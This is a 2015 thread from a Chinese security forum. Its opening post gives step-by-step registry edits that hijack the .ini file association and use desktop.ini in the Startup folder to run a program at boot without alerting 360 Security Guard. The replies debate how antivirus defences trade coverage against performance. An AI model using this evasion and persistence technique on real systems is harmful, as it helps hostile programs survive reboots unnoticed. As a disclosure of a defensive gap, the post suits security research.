xxxx思路广，继续写启动喽。

显示全部楼层 · 发表于 2015-9-10 01:46:55

本帖最后由 kfpe23 于 2015-9-10 01:48 编辑

这次也是和启动文件夹有关，但是主题是修改文件关联。改了文件关联就可以写开机启动了，当然不只限于开机启动。只是本帖例子是用来开机启动。
-------------------

win7下360无提示修改文件关联方法很多就不说了。

我试了下xp下，可以这么搞从而做到开机启动：

第一步。删掉.ini关联

[-HKEY_CLASSES_ROOT\.ini]
这么做的目的是去掉default值。
360对写和修改是敏感的，但是除了自保外，是从来不管注册表删除的。所以经常可以用到这点。

第二步，
[HKEY_CLASSES_ROOT\.ini]
"PerceivedType"="text"

第三步，
[HKEY_CLASSES_ROOT\SystemFileAssociations\text\shell\open\command]
@=hex(2):63,00,6d,00,64,00,2e,00,65,00,78,00,65,00,00,00

第四步，把启动文件夹下的desktop.ini去掉隐藏属性

这样就可以通过开机启动deskop.ini从而启动自己的程序了。

这种方法修改大部分关联都可以，但修改exe貌似有点问题，不然我就直接改exe了。下次再研究下怎么回事。。

显示全部楼层 · 发表于 2015-9-10 10:05:25

作为主防，主要是防御关键点，不是处处都做防御的，否则更会影响系统性能..

注意性能和防御的平衡把握

显示全部楼层 · 发表于 2015-9-10 10:55:43

vm001 发表于 2015-9-10 10:05
作为主防，主要是防御关键点，不是处处都做防御的，否则更会影响系统性能..

注意性能和防御的平衡把握

照你这么说，就不应该弄XP遁甲了。。。

我估计影响性能主要就是hook搞多了会影响，或者就是文件系统的防护，还有就是白加黑校验dll也伤性能。
你看看 UAC就不怎么影响性能

显示全部楼层 · 发表于 2015-9-10 21:10:56

vm001 发表于 2015-9-10 10:05
作为主防，主要是防御关键点，不是处处都做防御的，否则更会影响系统性能..

注意性能和防御的平衡把握

还有你是不是会错贴了，本来想回上个贴啊。我发现最近我的帖子好多人都会回错。
这个帖子是纯规则上的。
上个帖子是涉及api挂钩，不好防的。这个贴是纯规则层面的，钻了下逻辑空子

显示全部楼层 · 发表于 2015-9-11 11:37:25

本帖最后由天耀群星于 2015-9-11 11:41 编辑

MD的一些功能，360卫士还没完全吸收，化为己用。为了易用，就降低安全性、减少HIPS的防御点？

360卫士把MD功能吸收就好了，快呀！

楼主大大，不防用你的程序试试我的MD。

显示全部楼层 · 发表于 2015-9-11 12:24:38

天耀群星发表于 2015-9-11 11:37
MD的一些功能，360卫士还没完全吸收，化为己用。为了易用，就降低安全性、减少HIPS的防御点？

360卫士把 ...

MD几百年没更新了。。。不值得用了吧。

显示全部楼层 · 发表于 2015-9-11 12:35:33

kfpe23 发表于 2015-9-11 12:24
MD几百年没更新了。。。不值得用了吧。

秒杀360几百条街。.

显示全部楼层 · 发表于 2015-9-11 21:13:56

天耀群星发表于 2015-9-11 12:35
秒杀360几百条街。.

那是不可能的

[技术原创] xxxx思路广，继续写启动喽。